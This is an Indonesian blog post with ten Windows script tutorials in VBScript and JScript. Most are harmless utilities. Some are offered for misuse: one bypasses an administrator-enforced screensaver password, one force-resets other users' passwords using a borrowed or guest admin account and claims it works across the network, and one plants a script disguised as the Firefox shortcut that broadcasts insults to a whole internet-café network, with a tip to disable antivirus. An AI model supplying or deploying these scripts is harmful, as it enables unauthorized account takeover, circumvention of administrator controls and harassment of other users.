Zero Time Online Blog Indonesia

Friday, January 4, 2008

Kumpulan Script-Script Program Komputer :)

1.Disable Password Screen Saver Windows
Menggunakan screen saver merupakan salah satu cara dalam menjaga privacy seorang
pengguna serta menghemat energi. Terutama bagi mereka yang bekerja di suatu perusahaan
pastilah screen saver sangat berguna dalam menjaga privacy para karyawan ketika mereka
meninggalkan komputer dalam keadaan menyala. Selain dilengkapi dengan password screen
saver juga dilengkapi dengan tampilan yang menarik dan atraktif sehingga tidak membosankan
para peniliknya.
Adakalanya si pengguna lupa akan password tersebut sehingga terpaksa mau tidak mau mereka
tidak dapat masuk ke lingkungan kerjanya kembali. Sebenarnya Windows sudah memberikan
option (pilihan) yang terletak di Display Properties pada tab Screen Saver (khususnya bagi
pemakai Windows 9Cool dimana para pengguna dapat menghilangkan password dari screen saver
dengan cara menghilangkan tanda centang di pilihan Password.
Namun sungguh sangat disayangkan jika jendela tersebut tidak dapat diakses oleh para
pengguna karena diproteksi oleh Administrator, sehingga para pengguna tidak dapat merubah
ataupun menghilangkan password dari screen saver yang telah mereka buat. Pada dasarnya ada
satu cara praktis nan hemat memori yaitu dengan menggunakan bantuan JavaScript sehingga
password yang memproteksi screen saver dapat dihilangkan tanpa perlu membuka jendela
Display Properties. Penasaran ingin mencobanya? Silahkan ikuti petunjuk-petunjuk berikut ini.
Untuk lebih jelasnya, Salinlah kode-kode program berikut ini melalui Notepad lalu simpanlah
dengan nama dispass.js dan janganlah lupa untuk mengubah Save as type yang tadinya bertipe
Text Documents (*.txt) menjadi All Files. Nonaktifkan pula Word Wrap yang ada di Notepad
pada saat pengetikan script program. Rolling Eyes

function kata(pesan)
{
nt.popup(pesan,0,"Modifikasi Password Screen Saver");
}
function catat(harga)
{
nt.RegWrite ("HKCU\\Control Panel\\Desktop"+
"\\ScreenSaverIsSecure",harga,"REG_SZ");
nt.RegWrite ("HKCU\\Control Panel\\Desktop"+
"\\ScreenSaveUsePassword",harga,"REG_DWORD");
}
var vbYesNoCancel = 3, vbYes = 6, vbNo = 7, harga, pesan, tanya, nt;
nt = WScript.CreateObject("WScript.Shell");
pesan = "Silahkan Klik:\n\n"+
"[Yes] untuk Nonaktifkan Password Screen Saver.\n"+
"[No] untuk Aktifkan Password Screen Saver.\n"+
"[Cancel] untuk Keluar dari menu.\n\n"+
"[*] mailto:prasdikatamajr@yahoo.com [*]\n\n"+
"NonAktifkan Password Screen Saver sekarang?";
tanya = nt.popup(pesan,0,"Modifikasi Password Screen Saver",vbYesNoCancel);
if (tanya == vbYes)
{
harga=0;
pesan="Password Screen Saver DiNonAktifkan!";
catat(harga);
kata(pesan);
}
else if (tanya == vbNo)
{
harga=1;
pesan="Password Screen Saver DiAktifkan!";
catat(harga);
kata(pesan);
}
else
{
pesan="PCplus OK!";
kata(pesan);
}


Setelah menyalin script program diatas cobalah buka Windows Explorer, lalu cari file yang
bernama dispass.js. Klik dua kali pada ikon file tersebut untuk mengeksekusinya. Setelah
jendela dispass.js muncul lalu klik tombol Yes untuk menonaktifkan password screen saver.
Tunggulah beberapa menit hingga screen saver muncul kemudian lihatlah hasilnya. Password
telah hilang dan sungguh menyenangkan bukan? Program diatas telah di uji coba di salah satu
platform sistem operasi keluaran Microsoft yaitu Windows 98. It’s worked!

2.Bikin Windows LogOff Pakai Script WSF
Modifikasi dalam kehidupan sehari-hari sangatlah diperlukan, agar kita tidak terus merasa bosan karena kegiatan sehari-hari yang sifatnya monoton. Demikian juga halnya dalam bidang komputer pastinya diperlukan suatu modifikasi, agar kegiatan kerja yang dilakukan lebih efektif, efisien dan menghindari rasa bosan.
Salah satu perubahan dalam bidang komputer yang dapat dilakukan yaitu merubah cara LogOff atau keluar dari suatu account(akun) di Windows. Cara biasa yang sering kita lakukan untuk keluar dari suatu account(akun) di Windows yaitu dengan klik tombol Start pada Taskbar lalu memilih Log Off, ketika menu Log Off Windows muncul kemudian klik tombol Log Off. Cara tersebut terlalu panjang dan boleh dibilang kurang praktis.
Maka dari itu diperlukan suatu langkah yang praktis, yaitu dengan memanfaatkan WSF(Windows Scripting File) agar dapat dibuat suatu program yang mampu menciptakan sebuah shortcut di Start Menu dan Windows Explorer sehingga berguna dalam Log Off dari suatu account(akun). Dengan membuat program yang satu ini maka di dapat suatu inovasi baru dalam Log Off Windows yang praktis. Hanya dengan dua langkah saja Log Off dari suatu account(akun) pun sudah dapat dilakukan. Penasaran ingin membuatnya? Silahkan ikuti petunjuk menarik yang satu ini.
Pertama-tama salin dan simpan script program berikut ini melalui Notepad dengan nama LogOffWin.wsf, lalu ubah Save as type yang tadinya bernama Text Documents (*.txt) menjadi All Files. Nonaktifkan juga Word Wrap yang ada di Notepad pada saat pengetikan script program, tujuannya yaitu agar pengetikkan program dapat berjalan dengan lancar tanpa hambatan.





Bukalah Windows Explorer, lalu cari file yang bernama LogOffWin.wsf. Klik dua kali pada ikon file tersebut untuk mengeksekusinya.
Setelah jendela LogOffWin.wsf terbuka, silahkan klik tombol Yes untuk install shortcut > LogOff Windows! di Start Menu atau Windows Explorer. Guna melihat perubahannya cobalah klik kanan di Start Menu, atau di salah satu drive maupun folder yang terdapat di Windows Explorer. Tampilkah shortcut > LogOff Windows! tersebut? Menarik? Pasti!
Jika tidak menginginkan shorcut tersebut tampil di Start Menu atau Windows Explorer, silahkan klik tombol No untuk menghapusnya.
Tetapi jika tidak ada keinginan untuk mengeksekusi program tersebut, silahkan klik tombol Cancel untuk keluar.
Program diatas telah di uji coba di salah satu sistem operasi keluaran Microsoft, yaitu Windows XP Professional Service Pack 2. Selamat mempraktekkan.

3.Mematikan Komputer Tanpa Tombol Shutdown
Beberapa waktu yang lalu muncul sebuah virus yang cukup unik. Karena kesibukan distribusi data antar komputer maka pada akhirnya komputer saya terserang oleh virus ini. Ketika saya ingin mematikan komputer ternyata tidak bisa karena tombol START telah hilang. Jika saya matikan komputer secara paksa dengan menekan tombol power pada CPU kemungkinan besar dapat mengakibatkan beberapa komponen hardware dapat rusak. Akhirnya saya memutuskan untuk membuat program sederhana dengan menggunakan script VBS berikut ini untuk mematikan komputer. Jika Anda tertarik silahkan ketik script berikut ini di Notepad kemudian simpan dengan nama tilem.vbs dan jangan lupa untuk mengubah Save as type menjadi All Files (*.*).

shutdown()
sub shutdown()
Set ubah = GetObject("winmgmts:{impersonationLevel=impersonate,(Shutdown)}" & _
"//./root/cimv2").ExecQuery("SELECT * FROM Win32_OperatingSystem WHERE Primary = true")
jawaban = MsgBox("Ingin Shutdown Sekarang?", vbQuestion + vbYesNo, "[Matiin Windows]")
If jawaban = vbYes Then
For Each sistem In ubah
parameter = sistem.Shutdown
Next
Else
MsgBox "Batal Shutdown", vbInformation, "[Matiin Windows]"
End If
end sub


Klik dua kali pada ikon tilem.vbs untuk menjalankannya kemudian klik tombol Yes untuk mematikan (shutdown) komputer, tetapi jika tidak ingin silahkan klik No. Pada akhirnya komputer akan mati secara soft boot sehingga melindungi dan memperpanjang umur hardware yang Anda miliki. Selamat mencoba & semoga berhasil.
4.
Script untuk Lihat Pengguna Tersembunyi di Windows
Ketika anda pertama kali masuk ke sistem operasi misalnya windows xp, pasti menjumpai dengan yang namanya LogOn screen. Di layar tersebut ditampilkan siapa saja user yang menggunakan komputer.
Jika anda melihat jumlah user yang ada di LogOn screen tersebut mungkin akan merasa tertipu, karena selain dari user-user yang ditampilkan di LogOn screen tersebut masih ada lagi user lainnya (hidden user).
Memang user tersebut tidak ditampilkan untuk menjaga keamanan dari sistem operasi tersebut. Nah bagaimana cara mengetahui apakah ada user lain yang bersifat hidden (tersembunyi)? Ikutilah trik berikut ini.

Langkah 1:
Ketikkan kode-kode dibawah ini di Notepad lalu simpan dengan nama user.vbs di directory C. Jangan lupa untuk mengubah Save as type dari Text Document(*.txt) menjadi All Files. Ingat pada waktu pengetikan, Word Wrap harus dinonaktifkan.

komputer = createobject("wscript.network").computername
set group = getobject("WinNT://" & komputer & "/administrators,group")
data = ""
for each account in group.members
data = data & account.name & vbcrlf
next
msgbox "Pengguna Komputer Ini yaitu: " & _
vbcrlf & vbcrlf & data,,"XX Daftar Pengguna Komputer " & _
komputer & " XX"


Langkah 2:
Jalankan pada Command Prompt. Misal: ketik user lalu tekan Enter, atau dengan cara lain yaitu buka Windows Explorer lalu cari file user.vbs kemudian klik dua kali pada icon file tersebut untuk membukanya.

Maka hasil yang akan ditampilkan berupa messagebox yang menampilkan daftar para pengguna komputer anda. Jika pada messagebox tersebut tampil user yang belum pernah anda kenali atau buat berarti user tersebut bersifat hidden (tersembunyi). Selamat belajar dan mencoba.

5.Script Pembuat Shortcut Command Prompt di Windows
Gw punya script bikinan gw sendiri. Kegunaannya ya buat buka command prompt dari mana aja.
Cobalah script program berikut ini untuk membuktikannya. Mulailah dengan mengetikkan
script berikut ini di Notepad kemudian simpan dengan nama ShortcutCommand.js lalu ganti
Save as type dari Text Documents (*.txt) menjadi All Files. Nonaktifkan Word Wrap yang ada
di Notepad sebelum mengetikan script program.

// Program Sederhana Membuat Shortcut Command
// Nama Program: ShortcutCommand.js
var vbCancel = 2;
var vbYesNoCancel = 3;
var vbYes = 6;
var vbNo = 7;
var vbQuestion = 32;
var vbInformation = 64;
var natan = WScript.CreateObject('WScript.Shell');
var pesan1 = 'Pilihan Buka Command:\n\n'+
'[Yes] untuk Install.\n'+
'[No] untuk UnInstall.\n'+
'[Cancel] untuk Keluar.\n\n'+
'[Bangkitlah TI Indonesia!]\n\n'+
'-> Install sekarang?'
var tanya = natan.popup( pesan1,0,'Buka Command',
vbYesNoCancel+vbQuestion);
if (tanya == vbYes)
{
natan.RegWrite( 'HKCR\\Directory\\shell\\tan\\',
'-> Buka Command!','REG_SZ');
natan.RegWrite( 'HKCR\\Directory\\shell\\tan\\command\\',
'command.com','REG_SZ');
natan.RegWrite( 'HKCR\\Drive\\shell\\tan\\',
'-> Buka Command!','REG_SZ');
natan.RegWrite( 'HKCR\\Drive\\shell\\tan\\command\\',
'command.com','REG_SZ');
pesan2 = 'Selesai Di Install!'
natan.popup(pesan2,0,'Buka Command',vbInformation);
}
else if (tanya == vbNo)
{
natan.RegDelete('HKCR\\Directory\\shell\\tan\\command\\');
natan.RegDelete('HKCR\\Directory\\shell\\tan\\');
natan.RegDelete('HKCR\\Drive\\shell\\tan\\command\\');
natan.RegDelete('HKCR\\Drive\\shell\\tan\\');
pesan3 = 'Selesai Di UnInstall!'
natan.popup(pesan3,0,'Buka Command',vbInformation);
}
else
{
natan.popup('Matur Nuwun.',0,'Buka Command',vbInformation);
}


Bukalah program tersebut melalui Windows Explorer. Klik Yes untuk Install Shortcut atau No
untuk UnInstall Shortcut. Untuk menjalankan Command Prompt dari Start Menu caranya
yaitu klik kanan di Start Menu lalu pilih ”→ Buka Command!”, maka jendela Command
Prompt akan terbuka. Program diatas sudah diujicoba di sistem operasi Windows 98 dan
Windows 2000 Professional. Hasilnya juga tidak jauh berbeda dengan yang dimiliki oleh
Windows XP. Selamat menikmati.

6.Bikin Angka Random[Acak] untuk Simulasi&Pemodelan
Dunia perkuliahan mungkin dapat dikatakan sebagai dunia yang dipenuhi dengan kegiatan
eksperimen dan mencari penemuan baru. Dapat kita lihat dalam kehidupan sehari-hari beberapa
hal yang sering kita gunakan merupakan hasil penemuan yang di dapat dari hasil eksperimen.
Sebagai contoh yaitu sistem operasi, aplikasi maupun perangkat keras yang kita gunakan dalam
kehidupan sehari-hari dapat dibilang sebagai hasil dari eksperimen.
Berikut ini merupakan salah satu hasil karya yang dapat dibilang hasil eksperimen yaitu
menciptakan 200 angka random(acak) yang ideal dengan susunan seperti matrix. Angka random
yang ideal adalah angka yang tidak ada tanda minus dan angka awal harus 0, contoh: 0.384. Jika
salah satu angka dalam sekumpulan angka random ada yang memiliki tanda minus atau tidak
berawalan 0 berarti kumpulan angka tersebut bukanlah angka random yang ideal.
Percobaan ini telah dilakukan di salah satu universitas swasta terkemuka di daerah Depok.
Dengan menggunakan script WSH dapat dihasilkan 200 angka random yang ideal. Kenapa
harus menggunakan WSH? Karena dosen di universitas tidak memperbolehkan mahasiswanya
untuk menggunakan VBA, dan program yang digunakan harus dapat menciptakan 200 angka
random yang ideal. Oleh karena itu digunakanlah WSH sebagai pengganti VBA tersebut dalam
menciptakan 200 angka random yang ideal. WSH sangat fleksibel karena dapat disisipi
beberapa bahasa pemrograman seperti VBScript, JavaScript dan Perl. Selain itu WSH tidak
memerlukan editor tambahan, cukup dengan menggunakan editor bawaan Windows® sudah
dapat diimplementasikan.
Pembuatan 200 angka random ideal ini dipergunakan dalam perkuliahan Simulasi&Pemodelan
yang sangat penting dalam menciptakan sebuah sample(contoh) dimana nantinya akan
digunakan dalam perhitungan matematis untuk mencari jumlah populasi maupun perhitungan
simulasi lainnya.
Tentunya dengan banyaknya angka random tersebut diperlukan program yang ringkas dan cepat
dalam menghasilkan 200 angka random. Ingin tau cara penyelesaiannya? Ikutilah tuntunan
berikut ini.

Ketikkan script program berikut ini melalui Notepad lalu simpanlah dengan nama
acakVB2.wsf dan ubah Save as type yang tadinya dari Text Documents (*.txt) menjadi All Files.
Nonaktifkan pula Word Wrap yang ada di Notepad pada saat pengetikan script program agar
program dapat berjalan dengan mulus.





Setelah menyelesaikan script program diatas bukalah Windows Explorer, lalu cari file yang
bernama AcakVB2.wsf. Klik dua kali pada ikon file tersebut untuk mengeksekusinya. Setelah
jendela AcakVB2.wsf terbuka klik tombol Yes untuk mengacak angka hingga ideal dan tombol
No untuk keluar. Program diatas telah di uji coba di Windows XP Professional Service Pack 1.
Selamat mencoba!

Program diatas adalah hasil dari utak-atik gw selama kuliah. Coz waktu itu dosen ga kasi ijin bikin program angka acak dari VBA. Ya,udah akhirnya gw bikin dari WSF. Laughing Lumayan jadi dapet nilai "A" untuk Mata Kuliah Simulasi&Pemodelan. Very Happy

7.:: Bikin Aplikasi Chatting IntraNet Dengan VBS ::
Di dalam kehidupan ini banyak cara yang digunakan untuk berkomunikasi. Misalnya dengan menggunakan surat, telegram, dan lain-lain. Dalam era teknologi informasi ini komunikasi juga dapat dilakukan dengan menggunakan komputer. Salah satu cara yang digunakan untuk mengirimkan pesan melalui komputer adalah dengan menggunakan fasilitas net send yang terdapat pada Windows. Untuk mengirimkan pesan biasanya para pengguna komputer menggunakan command prompt dengan cara mengetikkan net send nama_komputer “isi pesan”. Jika menggunakan net send sangatlah tidak efisien karena setiap kali kita ingin mengirim pesan, kita harus selalu mengetikkan net send kemudian diikuti dengan mengetikkan nama komputer yang ingin kita hubungi. Tentunya dengan cara tersebut sangatlah merepotkan. Oleh karena itu, dibutuhkan suatu program yang mempermudah kita untuk mengirim pesan dari satu komputer ke komputer yang lainnya. Dalam menggunakan aplikasi ini, kita hanya perlu sekali memasukkan nama komputer yang ingin kita hubungi. Setelah itu kita hanya perlu mengetikkan isi pesan yang ingin disampaikan. Sangat mudah dan efisien bukan? Penasaran? Cobalah script berikut ini.

Ketikkanlah script program dibawah ini dengan menggunakan Notepad lalu simpan dengan nama chatting.vbs dan jangan lupa ubah Save as type yang tadinya dari Text Documents (*.txt) menjadi All Files. Jangan lupa juga untuk menonaktifkan Word Wrap yang ada di Notepad pada saat pengetikan script program.

dim aksi, perintah, komputer, kompu, pesan, kalimat, hasil

mulai()
sub mulai()
komputer = InputBox("Masukkan Nama Komputer:","PeSink [Pesan Singkat]")
kompu=ucase(komputer)
kirim_beneran()
End Sub

sub kirim_beneran()
set aksi = WScript.CreateObject("Wscript.Shell")
kalimat = "Anda terhubung dengan komputer: [" & kompu & "]" &_
vbcrlf & vbcrlf &_
"Ketik [quit] untuk berhenti." & vbcrlf &_
"Ketik [ganti] untuk ganti teman." & vbcrlf & vbcrlf & vbcrlf &_
"Pesan Anda:"
pesan = InputBox(kalimat,"PeSink [Pesan Singkat]")
hasil=ucase(pesan)
if hasil="QUIT" then
MsgBox "Anda keluar dari chatting ini!",vbOkOnly,"PeSink [Pesan Singkat]"
wscript.quit
else
if hasil="GANTI" then
MsgBox "Anda Ganti Teman Chatting!",vbOkOnly,"PeSink [Pesan Singkat]"
mulai()
else
perintah = "cmd /c net.exe send /domain:" & kompu & " " & pesan
aksi.run perintah, 0, true
MsgBox "Pesan telah dikirim ke komputer: " &_
kompu,vbOkOnly,"PeSink [Pesan Singkat]"
kirim_beneran()
end if
end if
End Sub


Setelah mengetikan script program diatas simpanlah file tersebut kemudian jalankan file yang bernama chatting.vbs. Program diatas telah diuji coba di sistem operasi Windows 2000 Professional dan Windows XP Professional Service Pack 2. Selamat belajar & mencoba. Laughing

8.Trik Ubah Paksa Password Windows XP
Trik berikut ini akan menuntun teman-teman dalam mengubah password login di Windows XP secara paksa. Selamat menikmati... Laughing

Saat pertama kali masuk Windows XP Anda akan dihadapkan dengan layar LogIn yang berisi daftar pengguna komputer. Jika pengguna ingin lebih privacy maka pengguna dapat membubuhkan password pada account(akun) yang telah dibuat.
Akan tetapi bagaimana bila password yang telah dibuat diketahui oleh orang lain, sehingga orang lain tersebut dapat mengganti password dan membuat Anda tidak dapat mengakses akun Anda sendiri. Ada satu cara yang sangat unik untuk mendapatkan akun Anda kembali yaitu dengan menggunakan file Visual Basic Script. Penasaran? Coba ikutilah petunjuk berikut ini.

Trik mengganti password yang hilang ini diperuntukkan hanya untuk sistem operasi Windows. Pembuatan program beserta penggunaannya akan dijelaskan langkah demi langkah, sehingga diharapkan para pembaca dapat menerapkannya di komputer masing-masing. Program yang menjadi bahan trik kali ini dapat dikatakan sangat aman karena dibuat dari bahasa pemrograman yang sering masyarakat komputer dengar yaitu Visual Basic Script, selain itu sebelum di publish ke media massa program berikut telah diujicoba melalui komputer pembuat artikel ini. Jadi jelas terlihat bahwa program berikut aman dan tidak akan melukai komponen dari sistem operasi.

Langkah 1:
Pertama-tama pinjam account orang lain terlebih dahulu, kalau tidak dipinjamkan oleh pemiliknya cobalah pakai account guest(tetapi harus memiliki hak akses sebagai Administrator).

Langkah 2:
Setelah itu bukalah Notepad kemudian ketikkan program berikut ini dan simpan dengan nama ubah.vbs. Jangan lupa untuk mengubah Save as type yang tadinya Text Documents(*.txt) menjadi All Files.

gantipassword()
sub gantipassword()
Dim NamaPengguna
Dim NamaKomputer
NK = InputBox("Nama Komputer:","Form Ubah Password")
NP = InputBox("Nama Pengguna:","Form Ubah Password")
Set pengguna = GetObject("WinNT://" & NK & "/"& NP &"",pengguna)
Dim PasswordBaru
PasswordBaru = InputBox("Password Baru:","Form Ubah Password")
Call pengguna.SetPassword(PasswordBaru)
If err.number = 0 Then
Msgbox "Password Sukses Diubah!",vbInformation,"Form Ubah Password"
Else
Msgbox "Password Gagal Diubah!",vbInformation,"Form Ubah Password"
End if
End Sub


Langkah 3:
Jalankan program tersebut dengan cara klik dua kali pada icon ubah.vbs. Namun jika Anda menggunakan Dreamweaver atau editor ekstenal lainnya(seperti: PHPEdit) maka Anda tidak akan dapat menjalankannya dengan cara klik dua kali. Cara lain untuk menjalankannya yaitu dengan menggunakan Command Prompt lalu ketikkan perintah: cscript ubah.vbs.
Pertama kali akan muncul jendela untuk memasukkan nama komputer. Masukkan nama komputer atau alamat IP(Internet Protocol) komputer Anda kemudian klik OK.

Langkah 4:
Selanjutnya masukkan nama pengguna (nama account Anda) setelah itu klik OK.

Langkah 5:
Langkah terakhir yaitu masukkan password yang Anda inginkan. LogOut dari account tersebut kemudian cobalah mengakses account Anda kembali dan masukkan password baru Anda.
Berhasilkah? Dapatkah digunakan untuk komputer lainnya dalam satu jaringan? Pasti! Selamat mencoba dan semoga berhasil.

9.VBS untuk Memunculkan Folder/File Sistem
sebuah trik singkat yang menuntun teman2x dalam membuat sebuah program sederhana dari VBS. Berguna sekali untuk memunculkan file atau folder sistem.

sekali lagi ketikkan atau copy/paste script berikut ini ke dalam notepad dan simpan dengan nama kristianti_elga.vbs . jangan lupa ubah Save as type menjadi All files. matikan word wrap selama pengetikkan.

normalin()

sub normalin()

dim sistem, perintah

dim kmd, isi

set perintah = WScript.CreateObject("Wscript.Shell")

set sistem = CreateObject("Scripting.FileSystemObject")

isi = InputBox("Masukkan Drive:","nt11 Reliefer")

kmd = "cmd /c attrib -r -h -s " & isi & "\*.* /s /d"

perintah.run kmd, 0, true

set perintah = nothing
set sistem = nothing

end sub


Jalankan program dengan klik dua kali pada ikon program kristianti_elga.vbs kemudian masukkan nama drive, folder atau file sistem yang ingin dimunculkan.

misal file yang ingin dimunculkan bernama anny.log di folder sammy dan berada di drive c, maka pengetikkannya yaitu:
C:\sammy\anny.log

gampang khan...nah,selamat mencoba deh... Smile


10.Teknik Adu Domba Dengan Visual Basic Script (VBS)
Visual Basic Script bukan saja dapat digunakan untuk menolong para programmer dalam mengendalikan sistem tetapi juga dapat digunakan sebagai alat “Adu Domba” antar user (pengguna) komputer dalam satu jaringan, seperti yang dilakukan oleh pihak Belanda terhadap bangsa kita (“Devide et Impera”). Taktik berikut ini sangat nyaman dan cocok dilakukan di WARNET (WARung interNET). Penasaran? Cobain tutorial berikut ini. Selamat mencoba 

Langkah 1:
Buka Notepad kemudian ketikkan script VBS berikut ini.
Set perintah = CreateObject("WScript.Shell")
Set eksekusi = perintah.Exec("firefox")
pesan = "Muka B*k*p loe!Pukul Gw kalo lo brani!K*nc*ng Blom Bener!"
jalan2 = "cmd /c net.exe send * " & pesan
perintah.run jalan2, 0, true


Langkah 2:
Simpan dengan nama Mozilla.vbs. Jangan lupa untuk mengubah Save as type dari Text Documents (*.txt) menjadi All Files. Look at the picture.

Langkah 3:
Kemudian simpan pada direktori tempat web browser Anda berada. Misal web browser Anda terletak di C:\Program Files\Mozilla Firefox maka tempatkanlah script yang telah Anda buat tadi di direktori tersebut. Terlihat bahwa script yang Anda buat berada dalam satu direktori dengan aplikasi Mozilla Firefox.

Langkah 4:
Bukalah Properties dari shorcut Mozilla Firefox dengan cara klik kanan pada icon Mozilla Firefox yang terdapat pada Desktop Anda kemudian pilih Properties. Maka jendela Mozilla Firefox akan terbuka. Ubahlah Firefox.exe atau Mozilla.exe menjadi Mozzila.vbs pada kolom Target.

Langkah 5:
Klik tombol OK. Kemudian hapuslah semua icon yang berada di Quick Launch, Desktop dan Programs yang menuju ke web browser (kecuali icon Mozilla yang telah di edit link-nya tadi).
Tips:
Matikan (disable) antivirus lalu tempatkan icon yang telah Anda edit link-nya di Programs atau Quick Launch.

Langkah 6:
Saran saya jangan jalankan program tersebut jika Anda tidak ingin ada masalah. Jika si korban menjalankan web browser dari link tersebut maka akan keluar pesan dan jendela Mozilla Firefox akan terbuka.
Tentunya orang yang berada dalam satu jaringan dengan si korban akan terkejut, jika orang tersebut mudah emosi atau marah maka akan terjadi pertempuran yang sangat dahsyat, satu jaringan gitu loh.
Bukan saja orang yang berada dalam satu jaringan dengan si korban saja yang emosi tetapi si korban juga ikut-ikutan emosi karena pesan tersebut akan keluar bersamaan dengan jendela Mozzila Firefox.


=====================
Referensi by:ikatama, forum sekuritionline.net





0 comments: